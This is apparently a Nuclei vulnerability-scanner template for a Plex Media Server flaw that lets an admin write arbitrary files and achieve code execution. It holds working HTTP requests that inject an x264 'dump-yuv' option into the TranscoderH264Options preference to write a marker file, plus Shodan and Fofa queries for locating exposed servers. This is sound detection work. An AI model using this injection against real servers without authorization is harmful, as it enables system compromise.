Copy
id: CVE-2026-96656
info:
name: Plex Media Server < 1.43.3.10861 - Arbitrary File Write to Code Execution
author: DhiyaneshGeek
severity: high
description: |
Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.
impact: |
Admin users can write and execute arbitrary files, potentially leading to full system compromise.
remediation: |
Upgrade to version 1.43.3.10861 or later.
reference:
- https://www.zmain.info/blog/plex2shell
- https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
- https://www.cve.org/CVERecord?id=CVE-2026-96656
- https://nvd.nist.gov/vuln/detail/CVE-2026-96656
- https://github.com/code-zm/plex2shell
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2026-96656
cwe-id: CWE-73
metadata:
verified: true
max-request: 3
vendor: plex
product: plex_media_server
shodan-query: port:32400 "X-Plex-Protocol"
fofa-query: port="32400" && header="X-Plex-Protocol"
tags: cve,cve2026,plex,kev,vkev,authenticated,file-upload,rce,intrusive
variables:
marker: "{{to_lower(rand_text_alpha(12))}}"
flow: |
(function() {
if (!http(1)) return false;
var ok = http(2);
http(3);
return ok;
})();
http:
- raw:
- |
PUT /:/prefs?TranscoderH264Options=dump-yuv%3D%2Ftmp%2F{{marker}}.txt%3Aqp%3D0 HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 204'
internal: true
- raw:
- |
GET /:/prefs HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "transcoderh264options")'
- 'contains(to_lower(body), to_lower("dump-yuv=/tmp/" + marker + ".txt:qp=0"))'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '"value"\s*:\s*"([^"]*dump-yuv[^"]*)"'
- 'id="TranscoderH264Options"[^>]*value="([^"]*dump-yuv[^"]*)"'
- 'value="([^"]*dump-yuv[^"]*)"[^>]*id="TranscoderH264Options"'
- raw:
- |
PUT /:/prefs?TranscoderH264Options=nuclei-cleared HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{token}}
matchers:
- type: dsl
dsl:
- 'true'
internal: true
# digest: 490a00463044022000c40ddd11e8b3d476bdb274af25467debfdf5b2a4923809f76cb49778013dce0220768dc67fa0a55fbe8ad7a939d2ea661551ca4edbde220d18686859d4888cfd18:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.